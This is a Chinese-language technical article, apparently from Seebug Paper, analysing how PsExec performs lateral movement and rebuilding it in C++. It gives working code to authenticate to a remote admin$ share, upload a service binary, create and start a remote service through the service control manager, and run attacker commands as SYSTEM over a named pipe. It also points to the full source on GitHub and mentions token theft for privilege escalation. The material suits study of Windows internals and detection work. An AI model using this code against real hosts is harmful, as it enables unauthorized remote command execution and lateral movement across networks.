作者:嘉然小狗的姐
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

psexec是sysinternals提供的眾多windows工具中的一個,這款工具的初衷是幫助管理員管理大量的機器的,后來被攻擊者用來做橫向滲透。

下載地址:

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

要使用psexec,至少要滿足以下要求:

  1. 遠程機器的 139 或 445 端口需要開啟狀態,即 SMB;
  2. 明文密碼或者 NTLM 哈希;
  3. 具備將文件寫入共享文件夾的權限;
  4. 能夠在遠程機器上創建服務:SC_MANAGER_CREATE_SERVICE
  5. 能夠啟動所創建的服務:SERVICE_QUERY_STATUS && SERVICE_START

psexec執行原理

環境:

  • Windows 10 -> 192.168.111.130
  • Windows Server 2016 -> 192.168.111.132

在windows 10上用psexec登錄windows server 2016

vQfBE8.png

原版的psexec只支持賬戶密碼登錄,但是在impacket版的psexec支持hash登錄(很實用)

psexec執行流程:

  1. PSEXESVC.exe上傳到admin$共享文件夾內;
  2. 遠程創建用于運行PSEXESVC.exe的服務;
  3. 遠程啟動服務。

PSEXESVC服務充當一個重定向器(包裝器)。它在遠程系統上運行指定的可執行文件(示例中的cmd.exe),同時,它通過主機之間來重定向進程的輸入/輸出(利用命名管道)。

vQhlMn.png

流量分析

  1. 使用輸入的賬戶和密碼,通過SMB會話進行身份驗證;
  2. 利用SMB訪問默認共享文件夾ADMIN$,從而上傳PSEXESVC.exe

    vQbE40.png

  3. 打開svcctl的句柄,與服務控制器(SCM)進行通信,使得能夠遠程創建/啟動服務。此時使用的是SVCCTL服務,通過對SVCCTL服務的DCE\RPC調用來啟動Psexec

  4. 使用上傳的PSEXESVC.exe作為服務二進制文件,調用CreateService函數;
  5. 調用StartService函數;

    vQqNiq.png

  6. 之后再創建命名管道來重定向stdin(輸入)stdout(輸出)stderr(錯誤輸出)

    vQLJXD.png

代碼實現

通過上面的分析,可以列一個代碼的執行流程:

  1. 連接SMB共享
  2. 上傳一個惡意服務文件到共享目錄
  3. 打開SCM創建服務
  4. 啟動服務
  5. 服務創建輸入輸出管道
  6. 等待攻擊者連接管道
  7. 從管道讀取攻擊者的命令
  8. 輸出執行結果到管道
  9. 跳轉到 3
  10. 刪除服務
  11. 刪除文件

連接SMB共享

連接SMB共享需要用到WNetAddConnection

The WNetAddConnection function enables the calling application to connect a local device to a network resource. A successful connection is persistent, meaning that the system automatically restores the connection during subsequent logon operations.

WNetAddConnection只支持16位的Windows,更高位的需要使用WNetAddConnection2WNetAddConnection3

WNetAddConnection2A

DWORD WNetAddConnection2A(
  [in] LPNETRESOURCEA lpNetResource,    // 一個指向連接信息結構的指針
  [in] LPCSTR         lpPassword,       // 密碼
  [in] LPCSTR         lpUserName,       // 用戶名
  [in] DWORD          dwFlags           // 選項
);

接下來就可以實現一個連接SMB共享的函數ConnectSMBServer

DWORD ConnectSMBServer(LPCWSTR lpwsHost, LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) {
    // SMB shared resource.
    PWCHAR lpwsIPC = new WCHAR[MAX_PATH];
    // Return value
    DWORD dwRetVal;
    // Detailed network information
    NETRESOURCE nr;
    // Connection flags
    DWORD dwFlags;

    ZeroMemory(&nr, sizeof(NETRESOURCE));
    swprintf(lpwsIPC, 100, TEXT("\\\\%s\\admin$"), lpwsHost);

    nr.dwType = RESOURCETYPE_ANY;
    nr.lpLocalName = NULL;
    nr.lpRemoteName = lpwsIPC;
    nr.lpProvider = NULL;

    dwFlags = CONNECT_UPDATE_PROFILE;

    dwRetVal = WNetAddConnection2(&nr, lpwsPassword, lpwsUserName, dwFlags);
    if (dwRetVal == NO_ERROR) {
        // success
        wprintf(L"[*] Connect added to %s\n", nr.lpRemoteName);
        return dwRetVal;
    }


    wprintf(L"[*] WNetAddConnection2 failed with error: %u\n", dwRetVal);
    return -1;
}

查看本地的網絡連接,發現已經添加了對應的SMB共享

v0tSjs.png

上傳文件

根據Rvn0xsy師傅的博客,他利用的是CIFS協議將網絡文件共享映射為本地資源去訪問,從而能夠直接利用Windows文件相關的API來操作共享文件。

CIFS (Common Internet File System),Windows上的一個文件共享協議。該協議的功能包括:

  1. 訪問服務器本地文件并讀取這些文件
  2. 與其它用戶一起共享一些文件塊
  3. 在斷線時自動恢復與網絡的連接
  4. 使用Unicode文件名
BOOL CopyFile(
  [in] LPCTSTR lpExistingFileName,
  [in] LPCTSTR lpNewFileName,
  [in] BOOL    bFailIfExists
);

所以可以通過已有的SMB共享將本地文件拷貝至遠程主機。

BOOL UploadFileBySMB(LPCWSTR lpwsSrcPath, LPCWSTR lpwsDstPath) {
    DWORD dwRetVal;
    dwRetVal = CopyFile(lpwsSrcPath, lpwsDstPath, FALSE);
    return dwRetVal > 0 ? TRUE : FALSE;
}

測試效果:

v0tJ8e.png

C:\windows\下查看上傳文件

v0tUKA.png

編寫服務程序

Microsoft Windows 服務(過去稱為 NT 服務)允許用戶創建可在其自身的 Windows 會話中長時間運行的可執行應用程序。 這些服務可在計算機啟動時自動啟動,可以暫停和重啟,并且不顯示任何用戶界面。 這些功能使服務非常適合在服務器上使用,或者需要長時間運行的功能(不會影響在同一臺計算機上工作的其他用戶)的情況。 還可以在與登錄用戶或默認計算機帳戶不同的特定用戶帳戶的安全性上下文中運行服務。

Windows 服務被設計用于需要在后臺運行的應用程序以及實現沒有用戶交互的任務,并且部分服務是以SYSTEM權限啟動。

服務控制管理器 (Service Control Manager, SCM),對于服務有非常重要的作用,它可以把啟動服務或停止服務的請求發送給服務。SCM是操作系統的一個組成部分,它的作用是與服務進行通信。

關于服務程序,主要包含三個部分:主函數、ServiceMain函數、處理程序。

  1. 主函數:程序的一般入口,可以注冊多個 ServiceMain 函數;
  2. ServiceMain函數:包含服務的實際功能。服務必須為所提供的每項服務注冊一個 ServiceMain 函數;
  3. 處理程序:必須響應來自 SCM 的事件(停止、暫停 或 重新開始);

Rvn0xsy師傅也給出了一個服務模板:

#include <Windows.h>
#include <stdio.h>  
// Windows 服務代碼模板
////////////////////////////////////////////////////////////////////////////////////
// sc create Monitor binpath= Monitor.exe
// sc start Monitor
// sc delete Monitor
////////////////////////////////////////////////////////////////////////////////////
/**********************************************************************************/
////////////////////////////////////////////////////////////////////////////////////
// New-Service –Name Monitor –DisplayName Monitor –BinaryPathName "D:\Monitor\Monitor.exe" –StartupType Automatic
// Start-Service Monitor
// Stop-Service Monitor
////////////////////////////////////////////////////////////////////////////////////



#define SLEEP_TIME 5000                          /*間隔時間*/
#define LOGFILE "D:\\log.txt"              /*信息輸出文件*/

SERVICE_STATUS ServiceStatus;  /*服務狀態*/
SERVICE_STATUS_HANDLE hStatus; /*服務狀態句柄*/

void  ServiceMain(int argc, char** argv);
void  CtrlHandler(DWORD request);
int   InitService();

int main(int argc, CHAR * argv[])
{
    WCHAR WserviceName[] = TEXT("Monitor");
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = WserviceName;
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable);

    return 0;
}

int WriteToLog(const char* str)
{
    FILE* pfile;
    fopen_s(&pfile, LOGFILE, "a+");
    if (pfile == NULL)
    {
        return -1;
    }
    fprintf_s(pfile, "%s\n", str);
    fclose(pfile);

    return 0;
}

/*Service initialization*/
int InitService()
{
    CHAR Message[] = "Monitoring started.";
    OutputDebugString(TEXT("Monitoring started."));
    int result;
    result = WriteToLog(Message);

    return(result);
}

/*Control Handler*/
void CtrlHandler(DWORD request)
{
    switch (request)
    {
    case SERVICE_CONTROL_STOP:

        WriteToLog("Monitoring stopped.");
        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    case SERVICE_CONTROL_SHUTDOWN:
        WriteToLog("Monitoring stopped.");

        ServiceStatus.dwWin32ExitCode = 0;
        ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    default:
        break;
    }
    /* Report current status  */
    SetServiceStatus(hStatus, &ServiceStatus);
    return;
}

void ServiceMain(int argc, char** argv)
{
    WCHAR WserviceName[] = TEXT("Monitor");
    int error;
    ServiceStatus.dwServiceType =
        SERVICE_WIN32;
    ServiceStatus.dwCurrentState =
        SERVICE_START_PENDING;
    /*在本例中只接受系統關機和停止服務兩種控制命令*/
    ServiceStatus.dwControlsAccepted =
        SERVICE_ACCEPT_SHUTDOWN |
        SERVICE_ACCEPT_STOP;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    hStatus = ::RegisterServiceCtrlHandler(
        WserviceName,
        (LPHANDLER_FUNCTION)CtrlHandler);
    if (hStatus == (SERVICE_STATUS_HANDLE)0)
    {

        WriteToLog("RegisterServiceCtrlHandler failed");
        return;
    }
    WriteToLog("RegisterServiceCtrlHandler success");
    /* Initialize Service   */
    error = InitService();
    if (error)
    {
        /* Initialization failed  */
        ServiceStatus.dwCurrentState =
            SERVICE_STOPPED;
        ServiceStatus.dwWin32ExitCode = -1;
        SetServiceStatus(hStatus, &ServiceStatus);
        return;
    }
    /*向SCM 報告運行狀態*/
    ServiceStatus.dwCurrentState =
        SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);

    /*do something you want to do in this while loop*/
    // TODO
    return;
}

可以TODO部分實現自己的代碼,創建并啟動該服務之后就會執行該部分代碼,后續與攻擊者通信部分也是在這實現的。

遠程管理服務

通過SMB共享可以上傳服務文件,但是要創建服務并啟動還需要通過服務控制管理器(SCM)管理。如果當前用戶要連接另一臺計算機上的服務,需要有相應的權限并且進行認證,但是之前連接SMB共享的時候已經通過WNetAddConnection2進行認證了,所以不需要再進行認證。

OpenSCManagerA

SC_HANDLE OpenSCManagerA(
  [in, optional] LPCSTR lpMachineName,      // 目標計算機的名稱
  [in, optional] LPCSTR lpDatabaseName,     // 服務控制管理器數據庫的名稱
  [in]           DWORD  dwDesiredAccess     // 訪問權限列表
);

OpenServiceA

SC_HANDLE OpenServiceA(
  [in] SC_HANDLE hSCManager,
  [in] LPCSTR    lpServiceName,
  [in] DWORD     dwDesiredAccess
);

CreateServiceA

SC_HANDLE CreateServiceA(
  [in]            SC_HANDLE hSCManager,
  [in]            LPCSTR    lpServiceName,
  [in, optional]  LPCSTR    lpDisplayName,
  [in]            DWORD     dwDesiredAccess,
  [in]            DWORD     dwServiceType,
  [in]            DWORD     dwStartType,
  [in]            DWORD     dwErrorControl,
  [in, optional]  LPCSTR    lpBinaryPathName,
  [in, optional]  LPCSTR    lpLoadOrderGroup,
  [out, optional] LPDWORD   lpdwTagId,
  [in, optional]  LPCSTR    lpDependencies,
  [in, optional]  LPCSTR    lpServiceStartName,
  [in, optional]  LPCSTR    lpPassword
);

得到SCM的句柄之后,就可以利用CreateService創建服務,再通過調用StartService完成整個服務的創建、啟動過程。

BOOL CreateServiceWithSCM(LPCWSTR lpwsSCMServer, LPCWSTR lpwsServiceName, LPCWSTR lpwsServicePath)
{
    std::wcout << TEXT("Will Create Service ") << lpwsServiceName << std::endl;
    SC_HANDLE hSCM;
    SC_HANDLE hService;
    SERVICE_STATUS ss;
    // GENERIC_WRITE = STANDARD_RIGHTS_WRITE | SC_MANAGER_CREATE_SERVICE | SC_MANAGER_MODIFY_BOOT_CONFIG
    hSCM = OpenSCManager(lpwsSCMServer, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
    if (hSCM == NULL) {
        std::cout << "OpenSCManager Error: " << GetLastError() << std::endl;
        return -1;
    }

    hService = CreateService(
        hSCM, // 服務控制管理器數據庫的句柄
        lpwsServiceName, // 要安裝的服務的名稱
        lpwsServiceName, // 用戶界面程序用來標識服務的顯示名稱
        GENERIC_ALL, // 訪問權限
        SERVICE_WIN32_OWN_PROCESS, // 與一個或多個其他服務共享一個流程的服務
        SERVICE_DEMAND_START, // 當進程調用StartService函數時,由服務控制管理器啟動的服務 。
        SERVICE_ERROR_IGNORE, // 啟動程序將忽略該錯誤并繼續啟動操作
        lpwsServicePath, // 服務二進制文件的標準路徑
        NULL,
        NULL,
        NULL,
        NULL,
        NULL);
    if (hService == NULL) {
        std::cout << "CreateService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::wcout << TEXT("Create Service Success : ") << lpwsServicePath << std::endl;
    hService = OpenService(hSCM, lpwsServiceName, GENERIC_ALL);
    if (hService == NULL) {
        std::cout << "OpenService Error: " << GetLastError() << std::endl;
        return -1;
    }
    std::cout << "OpenService Success!" << std::endl;

    StartService(hService, NULL, NULL);

    return 0;
}

管道通信

在進程間通信中,管道分為兩種:匿名管道和命名管道。

匿名管道

匿名管道通常用于父子進程間的通信,交換數據只能在父子進程中單向流通,所以匿名管道通常會創建兩個,一個用于讀數據,另一個用于寫數據。

https://docs.microsoft.com/en-us/windows/win32/ipc/anonymous-pipes

命名管道

命名管道比匿名管道更加靈活,可以在管道服務端和一個或多個管道客戶端之間進行單向或雙向通信。一個命名管道可以有多個實例,但是每個實例都有自己的緩沖區和句柄。

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes

在PsExec中創建了三個命名管道stdin、stdout、stderr 用于攻擊者和遠程主機之間通信,但筆者為了偷懶,只實現了一個命名管道,輸入輸出都共用這個管道。

命名管道通信大致和socket通信差不多,下面是整個通信過程以及相應的Windows API:

vBygwF.png

命名管道服務端

關于如何實現命名管道幅度,筆者參考msdn提供的樣例代碼實現了簡單的單線程服務端。

參考代碼:

https://docs.microsoft.com/en-us/windows/win32/ipc/multithreaded-pipe-server

先創建一個命名管道

int _tmain(VOID) {
    HANDLE hStdoutPipe = INVALID_HANDLE_VALUE;
    LPCTSTR lpszStdoutPipeName = TEXT("\\\\.\\pipe\\PSEXEC");

    if (!CreateStdNamedPipe(&hStdoutPipe, lpszStdoutPipeName)) {
        OutputError(TEXT("CreateStdNamedPipe PSEXEC"), GetLastError());
    }
    _tprintf("[*] CreateNamedPipe successfully!\n");
}

BOOL CreateStdNamedPipe(PHANDLE lpPipe, LPCTSTR lpPipeName) {
    *lpPipe = CreateNamedPipe(
        lpPipeName,
        PIPE_ACCESS_DUPLEX,
        PIPE_TYPE_MESSAGE |
        PIPE_READMODE_MESSAGE |
        PIPE_WAIT,
        PIPE_UNLIMITED_INSTANCES,
        BUFSIZE,
        BUFSIZE,
        0,
        NULL);

    return !(*lpPipe == INVALID_HANDLE_VALUE);
}

之后再等待客戶端進行連接

if (!ConnectNamedPipe(hStdoutPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED)) {
        OutputError("ConnectNamePipe PSEXEC", GetLastError());

        CloseHandle(hStdoutPipe);
        return -1;
}
_tprintf("[*] ConnectNamedPipe sucessfully!\n");

客戶端連接之后,進入循環一直讀取從客戶端發來的命令,然后創建子進程執行命令,再通過匿名管道讀取執行結果,將結果寫入命名管道從而讓客戶端讀取。

while (true) {
        DWORD cbBytesRead = 0;

        ZeroMemory(pReadBuffer, sizeof(TCHAR) * BUFSIZE);
        // Read message from client.
        if (!ReadFile(hStdoutPipe, pReadBuffer, BUFSIZE, &cbBytesRead, NULL)) {
            OutputError("[!] ReadFile from client failed!\n", GetLastError());
            return -1;
        }
        _tprintf("[*] ReadFile from client successfully. message = %s\n", pReadBuffer);

        /*================= subprocess ================*/
        sprintf_s(lpCommandLine, BUFSIZE, "cmd.exe /c \"%s && exit\"", pReadBuffer);
        _tprintf("[*] Command line %s\n", lpCommandLine);

        if (!CreateProcess(
            NULL,
            lpCommandLine,
            NULL,
            NULL,
            TRUE,
            CREATE_NO_WINDOW,
            NULL,
            NULL,
            &si,
            &pi
        )) {
            OutputError("CreateProcess", GetLastError());
            return -1;
        }

        WaitForSingleObject(pi.hProcess, INFINITE);

        fSuccess = SetNamedPipeHandleState(
            hWritePipe,    // pipe handle 
            &dwMode,  // new pipe mode 
            NULL,     // don't set maximum bytes 
            NULL);    // don't set maximum time 

        ZeroMemory(pWriteBuffer, sizeof(TCHAR) * BUFSIZE);
        fSuccess = ReadFile(hReadPipe, pWriteBuffer, BUFSIZE * sizeof(TCHAR), &cbBytesRead, NULL);

        if (!fSuccess && GetLastError() != ERROR_MORE_DATA) {
            break;
        }

        // Send result to client.
        cbToWritten = (lstrlen(pWriteBuffer) + 1) * sizeof(TCHAR);
        if (!WriteFile(hStdoutPipe, pWriteBuffer, cbBytesRead, &cbToWritten, NULL)) {
            OutputError("WriteFile", GetLastError());
            return -1;
        }
        _tprintf("[*] WriteFile to client successfully!\n");
}

命名管道客戶端

命名管道客戶端同樣參考msdn提供的代碼:

https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipe-client

客戶端需要先通過CreateFile連接到命名管道,然后調用WaitNamedPipe等待管道實例是否可用

HANDLE hStdoutPipe = INVALID_HANDLE_VALUE;
LPCTSTR lpszStdoutPipeName = TEXT("\\\\.\\pipe\\PSEXEC");

hStdoutPipe = CreateFile(
        lpszStdoutPipeName,
        GENERIC_READ |
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

// All pipe instances are busy, so wait for 20 seconds.
if (WaitNamedPipe(lpszStdoutPipeName, 20000)) {
    _tprintf(TEXT("[!] Could not open pipe (PSEXEC): 20 second wait timed out.\n"));
    return -1;
}
_tprintf(TEXT("[*] WaitNamedPipe successfully!\n"));

連接命名管道后,同樣進入循環交互,將從終端讀取的命令寫入管道中,等待服務端執行完畢后再從管道中讀取執行結果。

while (true) {
        std::string command;

        std::cout << "\nPsExec>";
        getline(std::cin, command);
        cbToRead = command.length() * sizeof(TCHAR);

        if (!WriteFile(hStdoutPipe, (LPCVOID)command.c_str(), cbToRead, &cbRead, NULL)) {
            _tprintf(TEXT("[!] WriteFile to server error! GLE = %d\n"), GetLastError());
            break;
        }
        _tprintf(TEXT("[*] WriteFile to server successfully!\n"));

        fSuccess = ReadFile(hStdoutPipe, chBuf, BUFSIZE * sizeof(TCHAR), &cbRead, NULL);
        if (!fSuccess) {
            /*OutputError(TEXT("ReadFile"), GetLastError());*/
            _tprintf("ReadFile error. GLE = %d", GetLastError());
        }

        std::cout << chBuf << std::endl;
}

測試命名管道執行效果:

vB4uo6.png

vB4Gyd.png

最終效果

vBLVyT.png

這里的權限為nt authority\system,這是因為系統服務一般是由system來啟動,所以命名管道可以通過模擬客戶端來竊取token從而將administrator提升至system,metasploit當中的getsystem原理就是這個。

vBLnw4.png

全部源代碼已經放在Github上

https://github.com/zesiar0/MyPsExec

參考鏈接

  1. https://rcoil.me/2019/08/%E3%80%90%E7%9F%A5%E8%AF%86%E5%9B%9E%E9%A1%BE%E3%80%91%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3%20PsExec/
  2. https://payloads.online/archivers/2020-04-02/1/
  3. https://docs.microsoft.com/en-us/windows/win32/ipc/using-pipes

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2056/